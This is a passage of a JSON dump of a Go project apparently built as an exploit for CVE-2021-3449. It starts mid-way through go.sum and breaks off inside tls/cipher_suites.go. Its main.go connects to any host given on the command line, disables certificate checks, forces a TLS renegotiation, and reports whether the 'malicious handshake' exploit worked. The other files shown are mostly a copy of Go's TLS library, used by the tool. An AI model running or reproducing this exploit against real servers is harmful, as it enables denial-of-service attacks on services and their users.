    "content": "golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2 h1:It14KIkyBFYkHkwZ7k45minvA9aorojkyjGk9KJ5B/w=\ngolang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68 h1:nxC68pudNYkKU6jWhgrqdreuFiOQWj1Fs7T3VrH4Pjw=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"os\"\n\n\t\"cve_2021_3449/tls\"\n)\n\nfunc main() {\n\thost := flag.String(\"host\", \"\", \"host:port to connect to\")\n\tservername := flag.String(\"sni\", \"\", \"servername\")\n\tflag.Parse()\n\t// Connect to the target, forcing TLSv1.2\n\tconn, err := tls.Dial(\"tcp\", *host, &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t\tRenegotiation:      tls.RenegotiateFreelyAsClient,\n\t\tServerName:         *servername,\n\t})\n\tif err != nil {\n\t\tprintln(\"failed to connect: \" + err.Error())\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tprintln(\"connected\")\n\t// Force a TLS renegotiation per RFC 5746.\n\tif err := conn.Handshake(); err != nil && err.Error() == \"tls: handshake failure\" {\n\t\tprintln(\"server is not vulnerable, exploit failed\")\n\t} else if err != nil {\n\t\tprintln(\"malicious handshake failed, exploit might have worked: \" + err.Error())\n\t} else {\n\t\tprintln(\"malicious renegotiation successful, exploit failed\")\n\t}\n}\n"
  },
  {
    "path": "tls/alert.go",
    "content": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport \"strconv\"\n\ntype alert uint8\n\nconst (\n\t// alert level\n\talertLevelWarning = 1\n\talertLevelError   = 2\n)\n\nconst (\n\talertCloseNotify            alert = 0\n\talertUnexpectedMessage      alert = 10\n\talertBadRecordMAC           alert = 20\n\talertDecryptionFailed       alert = 21\n\talertRecordOverflow         alert = 22\n\talertDecompressionFailure   alert = 30\n\talertHandshakeFailure       alert = 40\n\talertBadCertificate         alert = 42\n\talertUnsupportedCertificate alert = 43\n\talertCertificateRevoked     alert = 44\n\talertCertificateExpired     alert = 45\n\talertCertificateUnknown     alert = 46\n\talertIllegalParameter       alert = 47\n\talertUnknownCA              alert = 48\n\talertAccessDenied           alert = 49\n\talertDecodeError            alert = 50\n\talertDecryptError           alert = 51\n\talertProtocolVersion        alert = 70\n\talertInsufficientSecurity   alert = 71\n\talertInternalError          alert = 80\n\talertInappropriateFallback  alert = 86\n\talertUserCanceled           alert = 90\n\talertNoRenegotiation        alert = 100\n\talertMissingExtension       alert = 109\n\talertUnsupportedExtension   alert = 110\n\talertUnrecognizedName       alert = 112\n\talertNoApplicationProtocol  alert = 120\n)\n\nvar alertText = map[alert]string{\n\talertCloseNotify:            \"close notify\",\n\talertUnexpectedMessage:      \"unexpected message\",\n\talertBadRecordMAC:           \"bad record MAC\",\n\talertDecryptionFailed:       \"decryption failed\",\n\talertRecordOverflow:         \"record overflow\",\n\talertDecompressionFailure:   \"decompression failure\",\n\talertHandshakeFailure:       \"handshake failure\",\n\talertBadCertificate:         \"bad certificate\",\n\talertUnsupportedCertificate: \"unsupported certificate\",\n\talertCertificateRevoked:     \"revoked certificate\",\n\talertCertificateExpired:     \"expired certificate\",\n\talertCertificateUnknown:     \"unknown certificate\",\n\talertIllegalParameter:       \"illegal parameter\",\n\talertUnknownCA:              \"unknown certificate authority\",\n\talertAccessDenied:           \"access denied\",\n\talertDecodeError:            \"error decoding message\",\n\talertDecryptError:           \"error decrypting message\",\n\talertProtocolVersion:        \"protocol version not supported\",\n\talertInsufficientSecurity:   \"insufficient security level\",\n\talertInternalError:          \"internal error\",\n\talertInappropriateFallback:  \"inappropriate fallback\",\n\talertUserCanceled:           \"user canceled\",\n\talertNoRenegotiation:        \"no renegotiation\",\n\talertMissingExtension:       \"missing extension\",\n\talertUnsupportedExtension:   \"unsupported extension\",\n\talertUnrecognizedName:       \"unrecognized name\",\n\talertNoApplicationProtocol:  \"no application protocol\",\n}\n\nfunc (e alert) String() string {\n\ts, ok := alertText[e]\n\tif ok {\n\t\treturn \"tls: \" + s\n\t}\n\treturn \"tls: alert(\" + strconv.Itoa(int(e)) + \")\"\n}\n\nfunc (e alert) Error() string {\n\treturn e.String()\n}\n"
  },
  {
    "path": "tls/auth.go",
    "content": "// Copyright 2017 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"crypto\"\n\t\"crypto/ecdsa\"\n\t\"crypto/ed25519\"\n\t\"crypto/elliptic\"\n\t\"crypto/rsa\"\n\t\"encoding/asn1\"\n\t\"errors\"\n\t\"fmt\"\n)\n\n// verifyHandshakeSignature verifies a signature against pre-hashed\n// (if required) handshake contents.\nfunc verifyHandshakeSignature(sigType uint8, pubkey crypto.PublicKey, hashFunc crypto.Hash, signed, sig []byte) error {\n\tswitch sigType {\n\tcase signatureECDSA:\n\t\tpubKey, ok := pubkey.(*ecdsa.PublicKey)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected an ECDSA public key, got %T\", pubkey)\n\t\t}\n\t\tecdsaSig := new(ecdsaSignature)\n\t\tif _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {\n\t\t\treturn errors.New(\"ECDSA signature contained zero or negative values\")\n\t\t}\n\t\tif !ecdsa.Verify(pubKey, signed, ecdsaSig.R, ecdsaSig.S) {\n\t\t\treturn errors.New(\"ECDSA verification failure\")\n\t\t}\n\tcase signatureEd25519:\n\t\tpubKey, ok := pubkey.(ed25519.PublicKey)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected an Ed25519 public key, got %T\", pubkey)\n\t\t}\n\t\tif !ed25519.Verify(pubKey, signed, sig) {\n\t\t\treturn errors.New(\"Ed25519 verification failure\")\n\t\t}\n\tcase signaturePKCS1v15:\n\t\tpubKey, ok := pubkey.(*rsa.PublicKey)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected an RSA public key, got %T\", pubkey)\n\t\t}\n\t\tif err := rsa.VerifyPKCS1v15(pubKey, hashFunc, signed, sig); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase signatureRSAPSS:\n\t\tpubKey, ok := pubkey.(*rsa.PublicKey)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"expected an RSA public key, got %T\", pubkey)\n\t\t}\n\t\tsignOpts := &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash}\n\t\tif err := rsa.VerifyPSS(pubKey, hashFunc, signed, sig, signOpts); err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\treturn errors.New(\"internal error: unknown signature type\")\n\t}\n\treturn nil\n}\n\n// typeAndHashFromSignatureScheme returns the corresponding signature type and\n// crypto.Hash for a given TLS SignatureScheme.\nfunc typeAndHashFromSignatureScheme(signatureAlgorithm SignatureScheme) (sigType uint8, hash crypto.Hash, err error) {\n\tswitch signatureAlgorithm {\n\tcase PKCS1WithSHA1, PKCS1WithSHA256, PKCS1WithSHA384, PKCS1WithSHA512:\n\t\tsigType = signaturePKCS1v15\n\tcase PSSWithSHA256, PSSWithSHA384, PSSWithSHA512:\n\t\tsigType = signatureRSAPSS\n\tcase ECDSAWithSHA1, ECDSAWithP256AndSHA256, ECDSAWithP384AndSHA384, ECDSAWithP521AndSHA512:\n\t\tsigType = signatureECDSA\n\tcase Ed25519:\n\t\tsigType = signatureEd25519\n\tdefault:\n\t\treturn 0, 0, fmt.Errorf(\"unsupported signature algorithm: %#04x\", signatureAlgorithm)\n\t}\n\tswitch signatureAlgorithm {\n\tcase PKCS1WithSHA1, ECDSAWithSHA1:\n\t\thash = crypto.SHA1\n\tcase PKCS1WithSHA256, PSSWithSHA256, ECDSAWithP256AndSHA256:\n\t\thash = crypto.SHA256\n\tcase PKCS1WithSHA384, PSSWithSHA384, ECDSAWithP384AndSHA384:\n\t\thash = crypto.SHA384\n\tcase PKCS1WithSHA512, PSSWithSHA512, ECDSAWithP521AndSHA512:\n\t\thash = crypto.SHA512\n\tcase Ed25519:\n\t\thash = directSigning\n\tdefault:\n\t\treturn 0, 0, fmt.Errorf(\"unsupported signature algorithm: %#04x\", signatureAlgorithm)\n\t}\n\treturn sigType, hash, nil\n}\n\n// legacyTypeAndHashFromPublicKey returns the fixed signature type and crypto.Hash for\n// a given public key used with TLS 1.0 and 1.1, before the introduction of\n// signature algorithm negotiation.\nfunc legacyTypeAndHashFromPublicKey(pub crypto.PublicKey) (sigType uint8, hash crypto.Hash, err error) {\n\tswitch pub.(type) {\n\tcase *rsa.PublicKey:\n\t\treturn signaturePKCS1v15, crypto.MD5SHA1, nil\n\tcase *ecdsa.PublicKey:\n\t\treturn signatureECDSA, crypto.SHA1, nil\n\tcase ed25519.PublicKey:\n\t\t// RFC 8422 specifies support for Ed25519 in TLS 1.0 and 1.1,\n\t\t// but it requires holding on to a handshake transcript to do a\n\t\t// full signature, and not even OpenSSL bothers with the\n\t\t// complexity, so we can't even test it properly.\n\t\treturn 0, 0, fmt.Errorf(\"tls: Ed25519 public keys are not supported before TLS 1.2\")\n\tdefault:\n\t\treturn 0, 0, fmt.Errorf(\"tls: unsupported public key: %T\", pub)\n\t}\n}\n\nvar rsaSignatureSchemes = []struct {\n\tscheme          SignatureScheme\n\tminModulusBytes int\n\tmaxVersion      uint16\n}{\n\t// RSA-PSS is used with PSSSaltLengthEqualsHash, and requires\n\t//    emLen >= hLen + sLen + 2\n\t{PSSWithSHA256, crypto.SHA256.Size()*2 + 2, VersionTLS12},\n\t{PSSWithSHA384, crypto.SHA384.Size()*2 + 2, VersionTLS12},\n\t{PSSWithSHA512, crypto.SHA512.Size()*2 + 2, VersionTLS12},\n\t// PKCS#1 v1.5 uses prefixes from hashPrefixes in crypto/rsa, and requires\n\t//    emLen >= len(prefix) + hLen + 11\n\t// TLS 1.3 dropped support for PKCS#1 v1.5 in favor of RSA-PSS.\n\t{PKCS1WithSHA256, 19 + crypto.SHA256.Size() + 11, VersionTLS12},\n\t{PKCS1WithSHA384, 19 + crypto.SHA384.Size() + 11, VersionTLS12},\n\t{PKCS1WithSHA512, 19 + crypto.SHA512.Size() + 11, VersionTLS12},\n\t{PKCS1WithSHA1, 15 + crypto.SHA1.Size() + 11, VersionTLS12},\n}\n\n// signatureSchemesForCertificate returns the list of supported SignatureSchemes\n// for a given certificate, based on the public key and the protocol version,\n// and optionally filtered by its explicit SupportedSignatureAlgorithms.\n//\n// This function must be kept in sync with supportedSignatureAlgorithms.\nfunc signatureSchemesForCertificate(version uint16, cert *Certificate) []SignatureScheme {\n\tpriv, ok := cert.PrivateKey.(crypto.Signer)\n\tif !ok {\n\t\treturn nil\n\t}\n\n\tvar sigAlgs []SignatureScheme\n\tswitch pub := priv.Public().(type) {\n\tcase *ecdsa.PublicKey:\n\t\t// In TLS 1.2 and earlier, ECDSA algorithms are not\n\t\t// constrained to a single curve.\n\t\tsigAlgs = []SignatureScheme{\n\t\t\tECDSAWithP256AndSHA256,\n\t\t\tECDSAWithP384AndSHA384,\n\t\t\tECDSAWithP521AndSHA512,\n\t\t\tECDSAWithSHA1,\n\t\t}\n\t\tbreak\n\tcase *rsa.PublicKey:\n\t\tsize := pub.Size()\n\t\tsigAlgs = make([]SignatureScheme, 0, len(rsaSignatureSchemes))\n\t\tfor _, candidate := range rsaSignatureSchemes {\n\t\t\tif size >= candidate.minModulusBytes && version <= candidate.maxVersion {\n\t\t\t\tsigAlgs = append(sigAlgs, candidate.scheme)\n\t\t\t}\n\t\t}\n\tcase ed25519.PublicKey:\n\t\tsigAlgs = []SignatureScheme{Ed25519}\n\tdefault:\n\t\treturn nil\n\t}\n\n\tif cert.SupportedSignatureAlgorithms != nil {\n\t\tvar filteredSigAlgs []SignatureScheme\n\t\tfor _, sigAlg := range sigAlgs {\n\t\t\tif isSupportedSignatureAlgorithm(sigAlg, cert.SupportedSignatureAlgorithms) {\n\t\t\t\tfilteredSigAlgs = append(filteredSigAlgs, sigAlg)\n\t\t\t}\n\t\t}\n\t\treturn filteredSigAlgs\n\t}\n\treturn sigAlgs\n}\n\n// selectSignatureScheme picks a SignatureScheme from the peer's preference list\n// that works with the selected certificate. It's only called for protocol\n// versions that support signature algorithms, so TLS 1.2 and 1.3.\nfunc selectSignatureScheme(vers uint16, c *Certificate, peerAlgs []SignatureScheme) (SignatureScheme, error) {\n\tsupportedAlgs := signatureSchemesForCertificate(vers, c)\n\tif len(supportedAlgs) == 0 {\n\t\treturn 0, unsupportedCertificateError(c)\n\t}\n\tif len(peerAlgs) == 0 && vers == VersionTLS12 {\n\t\t// For TLS 1.2, if the client didn't send signature_algorithms then we\n\t\t// can assume that it supports SHA1. See RFC 5246, Section 7.4.1.4.1.\n\t\tpeerAlgs = []SignatureScheme{PKCS1WithSHA1, ECDSAWithSHA1}\n\t}\n\t// Pick signature scheme in the peer's preference order, as our\n\t// preference order is not configurable.\n\tfor _, preferredAlg := range peerAlgs {\n\t\tif isSupportedSignatureAlgorithm(preferredAlg, supportedAlgs) {\n\t\t\treturn preferredAlg, nil\n\t\t}\n\t}\n\treturn 0, errors.New(\"tls: peer doesn't support any of the certificate's signature algorithms\")\n}\n\n// unsupportedCertificateError returns a helpful error for certificates with\n// an unsupported private key.\nfunc unsupportedCertificateError(cert *Certificate) error {\n\tswitch cert.PrivateKey.(type) {\n\tcase rsa.PrivateKey, ecdsa.PrivateKey:\n\t\treturn fmt.Errorf(\"tls: unsupported certificate: private key is %T, expected *%T\",\n\t\t\tcert.PrivateKey, cert.PrivateKey)\n\tcase *ed25519.PrivateKey:\n\t\treturn fmt.Errorf(\"tls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKey\")\n\t}\n\n\tsigner, ok := cert.PrivateKey.(crypto.Signer)\n\tif !ok {\n\t\treturn fmt.Errorf(\"tls: certificate private key (%T) does not implement crypto.Signer\",\n\t\t\tcert.PrivateKey)\n\t}\n\n\tswitch pub := signer.Public().(type) {\n\tcase *ecdsa.PublicKey:\n\t\tswitch pub.Curve {\n\t\tcase elliptic.P256():\n\t\tcase elliptic.P384():\n\t\tcase elliptic.P521():\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"tls: unsupported certificate curve (%s)\", pub.Curve.Params().Name)\n\t\t}\n\tcase *rsa.PublicKey:\n\t\treturn fmt.Errorf(\"tls: certificate RSA key size too small for supported signature algorithms\")\n\tcase ed25519.PublicKey:\n\tdefault:\n\t\treturn fmt.Errorf(\"tls: unsupported certificate key (%T)\", pub)\n\t}\n\n\tif cert.SupportedSignatureAlgorithms != nil {\n\t\treturn fmt.Errorf(\"tls: peer doesn't support the certificate custom signature algorithms\")\n\t}\n\n\treturn fmt.Errorf(\"tls: internal error: unsupported key (%T)\", cert.PrivateKey)\n}\n"
  },
  {
    "path": "tls/cipher_suites.go",
    "content": "// Copyright 2010 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage tls\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/des\"\n\t\"crypto/hmac\"\n\t\"crypto/rc4\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t\"hash\"\n\n\t\"golang.org/x/crypto/chacha20poly1305\"\n)\n\n// CipherSuite is a TLS cipher suite. Note that most functions in this package\n// accept and expose cipher suite IDs instead of this type.\ntype CipherSuite struct {\n\tID   uint16\n\tName string\n\n\t// Supported versions is the list of TLS protocol versions that can\n\t// negotiate this cipher suite.\n\tSupportedVersions []uint16\n\n\t// Insecure is true if the cipher suite has known security issues\n\t// due to its primitives, design, or implementation.\n\tInsecure bool\n}\n\n// a keyAgreement implements the client and server side of a TLS key agreement\n// protocol by generating and processing key exchange messages.\ntype keyAgreement interface {\n\t// On the server side, the first two methods are called in order.\n\n\t// In the case that the key agreement protocol doesn't use a\n\t// ServerKeyExchange message, generateServerKeyExchange can return nil,\n\t// nil.\n\tgenerateServerKeyExchange(*Config, *Certificate, *clientHelloMsg, *serverHelloMsg) (*serverKeyExchangeMsg, error)\n\tprocessClientKeyExchange(*Config, *Certificate, *clientKeyExchangeMsg, uint16) ([]byte, error)\n\n\t// On the client side, the next two methods are called in order.\n\n\t// This method may not be called if the server doesn't send a\n\t// ServerKeyExchange message.\n\tprocessServerKeyExchange(*Config, *clientHelloMsg, *serverHelloMsg, *x509.Certificate, *serverKeyExchangeMsg) error\n\tgenerateClientKeyExchange(*Config, *clientHelloMsg, *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error)\n}\n\nconst (\n\t// suiteECDHE indicates that the cipher suite involves elliptic curve\n\t// Diffie-Hellman. This means that it should only be selected when the\n\t// client indicates that it supports ECC with a curve and point format\n\t// that we're happy with.\n\tsuiteECDHE = 1 << iota\n\t// suiteECSign indicates that the cipher suite involves an ECDSA or\n\t// EdDSA signature and therefore may only be selected when the server's\n\t// certificate is ECDSA or EdDSA. If this is not set then the cipher suite\n\t// is RSA based.\n\tsuiteECSign\n\t// suiteTLS12 indicates that the cipher suite should only be advertised\n\t// and accepted when using TLS 1.2.\n\tsuiteTLS12\n\t// suiteSHA384 indicates that the cipher suite uses SHA384 as the\n\t// handshake hash.\n\tsuiteSHA384\n\t// suiteDefaultOff indicates that this cipher suite is not included by\n\t// default.\n\tsuiteDefaultOff\n)\n\n// A cipherSuite is a specific combination of key agreement, cipher and MAC function.\ntype cipherSuite struct {\n\tid uint16\n\t// the lengths, in bytes, of the key material needed for each component.\n\tkeyLen int\n\tmacLen int\n\tivLen  int\n\tka     func(version uint16) keyAgreement\n\t// flags is a bitmask of the suite* values, above.\n\tflags  int\n\tcipher func(key, iv []byte, isRead bool) interface{}\n\tmac    func(version uint16, macKey []byte) macFunction\n\taead   func(key, fixedNonce []byte) aead\n}\n\nvar cipherSuites = []*cipherSuite{\n\t// Ciphersuite order is chosen so that ECDHE comes before plain RSA and\n\t// AEADs are the top preference.\n\t{TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadChaCha20Poly1305},\n\t{TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, 32, 0, 12, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadChaCha20Poly1305},\n\t{TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12, nil, nil, aeadAESGCM},\n\t{TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12, nil, nil, aeadAESGCM},\n\t{TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},\n\t{TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},\n\t{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheRSAKA, suiteECDHE | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},\n\t{TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},\n\t{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},\n\t{TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 16, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil},\n\t{TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheRSAKA, suiteECDHE, cipherAES, macSHA1, nil},\n\t{TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, 32, 20, 16, ecdheECDSAKA, suiteECDHE | suiteECSign, cipherAES, macSHA1, nil},\n\t{TLS_RSA_WITH_AES_128_GCM_SHA256, 16, 0, 4, rsaKA, suiteTLS12, nil, nil, aeadAESGCM},\n\t{TLS_RSA_WITH_AES_256_GCM_SHA384, 32, 0, 4, rsaKA, suiteTLS12 | suiteSHA384, nil, nil, aeadAESGCM},\n\t{TLS_RSA_WITH_AES_128_CBC_SHA256, 16, 32, 16, rsaKA, suiteTLS12 | suiteDefaultOff, cipherAES, macSHA256, nil},\n\t{TLS_RSA_WITH_AES_128_CBC_SHA, 16, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},\n\t{TLS_RSA_WITH_AES_256_CBC_SHA, 32, 20, 16, rsaKA, 0, cipherAES, macSHA1, nil},\n\t{TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, ecdheRSAKA, suiteECDHE, cipher3DES, macSHA1, nil},\n\t{TLS_RSA_WITH_3DES_EDE_CBC_SHA, 24, 20, 8, rsaKA, 0, cipher3DES, macSHA1, nil},\n\n\t// RC4-based cipher suites are disabled by default.\n\t{TLS_RSA_WITH_RC4_128_SHA, 16, 20, 0, rsaKA, suiteDefaultOff, cipherRC4, macSHA1, nil},\n\t{TLS_ECDHE_RSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheRSAKA, suiteECDHE | suiteDefaultOff, cipherRC4, macSHA1, nil},\n\t{TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, 16, 20, 0, ecdheECDSAKA, suiteECDHE | suiteECSign | suiteDefaultOff, cipherRC4, macSHA1, nil},\n}\n\nfunc cipherRC4(key, iv []byte, isRead bool) interface{} {\n\tcipher, _ := rc4.NewCipher(key)\n\treturn cipher\n}\n\nfunc cipher3DES(key, iv []byte, isRead bool) interface{} {\n\tblock, _ := des.NewTripleDESCipher(key)\n\tif isRead {\n\t\treturn cipher.NewCBCDecrypter(block, iv)\n\t}\n\treturn cipher.NewCBCEncrypter(block, iv)\n}\n\nfunc cipherAES(key, iv []byte, isRead bool) interface{} {\n\tblock, _ := aes.NewCipher(key)\n\tif isRead {\n\t\treturn cipher.NewCBCDecrypter(block, iv)\n\t}\n\treturn cipher.NewCBCEncrypter(block, iv)\n}\n\n// macSHA1 returns a macFunction for the given protocol version.\nfunc macSHA1(version uint16, key []byte) macFunction {\n\treturn tls10MAC{h: hmac.New(newConstantTimeHash(sha1.New), key)}\n}\n\n// macSHA256 returns a SHA-256 based MAC. These are only supported in TLS 1.2\n// so the given version is ignored.\nfunc macSHA256(version uint16, key []byte) macFunction {\n\treturn tls10MAC{h: hmac.New(sha256.New, key)}\n}\n\ntype macFunction interface {\n\t// Size returns the length of the MAC.\n\tSize() int\n\t// MAC appends the MAC of (seq, header, data) to out. The extra data is fed\n\t// into the MAC after obtaining the result to normalize timing. The result\n\t// is only valid until the next invocation of MAC as the buffer is reused.\n\tMAC(seq, header, data, extra []byte) []byte\n}\n\ntype aead interface {\n\tcipher.AEAD\n\n\t// explicitNonceLen returns the number of bytes of explicit nonce\n\t// included in each record. This is eight for older AEADs and\n\t// zero for modern ones.\n\texplicitNonceLen() int\n}\n\nconst (\n\taeadNonceLength   = 12\n\tnoncePrefixLength = 4\n)\n\n// prefixNonceAEAD wraps an AEAD and prefixes a fixed portion of the nonce to\n// each call.\ntype prefixNonceAEAD struct {\n\t// nonce contains the fixed part of the nonce in the first four bytes.\n\tnonce [aeadNonceLength]byte\n\taead  cipher.AEAD\n}\n\nfunc (f *prefixNonceAEAD) NonceSize() int        { return aeadNonceLength - noncePrefixLength }\nfunc (f *prefixNonceAEAD) Overhead() int         { return f.aead.Overhead() }\nfunc (f *prefixNonceAEAD) explicitNonceLen() int { return f.NonceSize() }\n\nfunc (f *prefixNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {\n\tcopy(f.nonce[4:], nonce)\n\treturn f.aead.Seal(out, f.nonce[:], plaintext, additionalData)\n}\n\nfunc (f *prefixNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) {\n\tcopy(f.nonce[4:], nonce)\n\treturn f.aead.Open(out, f.nonce[:], ciphertext, additionalData)\n}\n\n// xoredNonceAEAD wraps an AEAD by XORing in a fixed pattern to the nonce\n// before each call.\ntype xorNonceAEAD struct {\n\tnonceMask [aeadNonceLength]byte\n\taead      cipher.AEAD\n}\n\nfunc (f *xorNonceAEAD) NonceSize() int        { return 8 } // 64-bit sequence number\nfunc (f *xorNonceAEAD) Overhead() int         { return f.aead.Overhead() }\nfunc (f *xorNonceAEAD) explicitNonceLen() int { return 0 }\n\nfunc (f *xorNonceAEAD) Seal(out, nonce, plaintext, additionalData []byte) []byte {\n\tfor i, b := range nonce {\n\t\tf.nonceMask[4+i] ^= b\n\t}\n\tresult := f.aead.Seal(out, f.nonceMask[:], plaintext, additionalData)\n\tfor i, b := range nonce {\n\t\tf.nonceMask[4+i] ^= b\n\t}\n\n\treturn result\n}\n\nfunc (f *xorNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) {\n\tfor i, b := range nonce {\n\t\tf.nonceMask[4+i] ^= b\n\t}\n\tresult, err := f.aead.Open(out, f.nonceMask[:], ciphertext, additionalData)\n\tfor i, b := range nonce {\n\t\tf.nonceMask[4+i] ^= b\n\t}\n\n\treturn result, err\n}\n\nfunc aeadAESGCM(key, noncePrefix []byte) aead {\n\tif len(noncePrefix) != noncePrefixLength {\n\t\tpanic(\"tls: internal error: wrong nonce length\")\n\t}\n\taes, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\taead, err := cipher.NewGCM(aes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tret := &prefixNonceAEAD{aead: aead}\n\tcopy(ret.nonce[:], noncePrefix)\n\treturn ret\n}\n\nfunc aeadChaCha20Poly1305(key, nonceMask []byte) aead {\n\tif len(nonceMask) != aeadNonceLength {\n\t\tpanic(\"tls: internal error: wrong nonce length\")\n\t}\n\taead, err := chacha20poly1305.New(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tret := &xorNonceAEAD{aead: aead}\n\tcopy(ret.nonceMask[:], nonceMask)\n\treturn ret\n}\n\ntype constantTimeHash interface {\n\thash.Hash\n\tConstantTimeSum(b []byte) []byte\n}\n\n// cthWrapper wraps any hash.Hash that implements ConstantTimeSum, and replaces\n// with that all calls to Sum. It's used to obtain a ConstantTimeSum-based HMAC.\ntype cthWrapper struct {\n\th constantTimeHash\n}\n\nfunc (c *cthWrapper) Size() int                   { return c.h.Size() }\nfunc (c *cthWrapper) BlockSize() int              { return c.h.BlockSize() }\nfunc (c *cthWrapper) Reset()                      { c.h.Reset() }\nfunc (c *cthWrapper) Write(p []byte) (int, error) { return c.h.Write(p) }\nfunc (c *cthWrapper) Sum(b []byte) []byte         { return c.h.ConstantTimeSum(b) }\n\nfunc newConstantTimeHash(h func() hash.Hash) func() hash.Hash {\n\treturn func() hash.Hash {\n\t\treturn &cthWrapper{h().(constantTimeHash)}\n\t}\n}\n\n// tls10MAC implements the TLS 1.0 MAC function. RFC 2246, Section 6.2.3.\ntype tls10MAC struct {\n\th   hash.Hash\n\tbuf []byte\n}\n\nfunc (s tls10MAC) Size() int {\n\treturn s.h.Size()\n}\n\n// MAC is guaranteed to take constant time, as long as\n// len(seq)+len(header)+len(data)+len(extra) is constant. extra is not fed into\n// the MAC, but is only provided to make the timing profile constant.\nfunc (s tls10MAC) MAC(seq, header, data, extra []byte) []byte {\n\ts.h.Reset()\n\ts.h.Write(seq)\n\ts.h.Write(header)\n\ts.h.Write(data)\n\tres := s.h.Sum(s.buf[:0])\n\tif extra != nil {\n\t\ts.h.Write(extra)\n\t}\n\treturn res\n}\n\nfunc rsaKA(version uint16) keyAgreement {\n\treturn rsaKeyAgreement{}\n}\n\nfunc ecdheECDSAKA(version uint16) keyAgreement {\n\treturn &ecdheKeyAgreement{\n\t\tisRSA:   false,\n\t\tversion: version,\n\t}\n}\n\nfunc ecdheRSAKA(version uint16) keyAgreement {\n\treturn &ecdheKeyAgreement{\n\t\tisRSA:   true,\n\t\tversion: version,\n\t}\n}\n\n// mutualCipherSuite returns a cipherSuite given a list of supported\n// ciphersuites and the id requested by the peer.\nfunc mutualCipherSuite(have []uint16, want uint16) *cipherSuite {\n\tfor _, id := range have {\n\t\tif id == want {\n\t\t\treturn 